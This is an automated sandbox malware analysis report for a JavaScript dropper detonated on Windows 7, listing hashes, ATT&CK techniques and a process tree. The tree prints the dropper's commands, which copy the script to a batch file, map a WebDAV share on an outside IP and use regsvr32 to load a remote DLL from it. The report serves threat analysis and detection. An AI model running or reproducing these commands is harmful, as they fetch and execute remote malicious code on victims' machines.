d0c6ba95dc99812a578b49ac260b376b90d93b22148dea68ceb76773773102cc

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 06:19

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General

Target

2819619080647018619.js
Size

5KB
MD5

430b752583f428bbc06f8931a0aea35e
SHA1

6c5dc84db95ae02b054d1da33b51dfeeae8a7e4f
SHA256

d0c6ba95dc99812a578b49ac260b376b90d93b22148dea68ceb76773773102cc
SHA512

d7918269edaa12c6ed5f47bdc3809f35af2d80ea675432c5bbe82a4886f8743da9947cc750209f1e2c157048ae09a0cdacacbcf45834939e22ebf585071d1226
SSDEEP

96:Er8q2ADJI/0XTb7K4RWWYdJEWJbVHqiAIwiMEUzObt2uEl3VIkdbCo5hV2pAI+HF:E9GlyDHc2J30Dsk0

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2632	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 1496	2548	wscript.exe	29
PID 2548 wrote to memory of 1496	2548	wscript.exe	29
PID 2548 wrote to memory of 1496	2548	wscript.exe	29
PID 1496 wrote to memory of 2720	1496	cmd.exe	31
PID 1496 wrote to memory of 2720	1496	cmd.exe	31
PID 1496 wrote to memory of 2720	1496	cmd.exe	31
PID 1496 wrote to memory of 2632	1496	cmd.exe	32
PID 1496 wrote to memory of 2632	1496	cmd.exe	32
PID 1496 wrote to memory of 2632	1496	cmd.exe	32
PID 1496 wrote to memory of 2632	1496	cmd.exe	32
PID 1496 wrote to memory of 2632	1496	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2819619080647018619.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2819619080647018619.js" "C:\Users\Admin\\nrgftx.bat" && "C:\Users\Admin\\nrgftx.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2720
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\663.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\nrgftx.bat

Filesize
5KB

MD5
430b752583f428bbc06f8931a0aea35e

SHA1
6c5dc84db95ae02b054d1da33b51dfeeae8a7e4f

SHA256
d0c6ba95dc99812a578b49ac260b376b90d93b22148dea68ceb76773773102cc

SHA512
d7918269edaa12c6ed5f47bdc3809f35af2d80ea675432c5bbe82a4886f8743da9947cc750209f1e2c157048ae09a0cdacacbcf45834939e22ebf585071d1226

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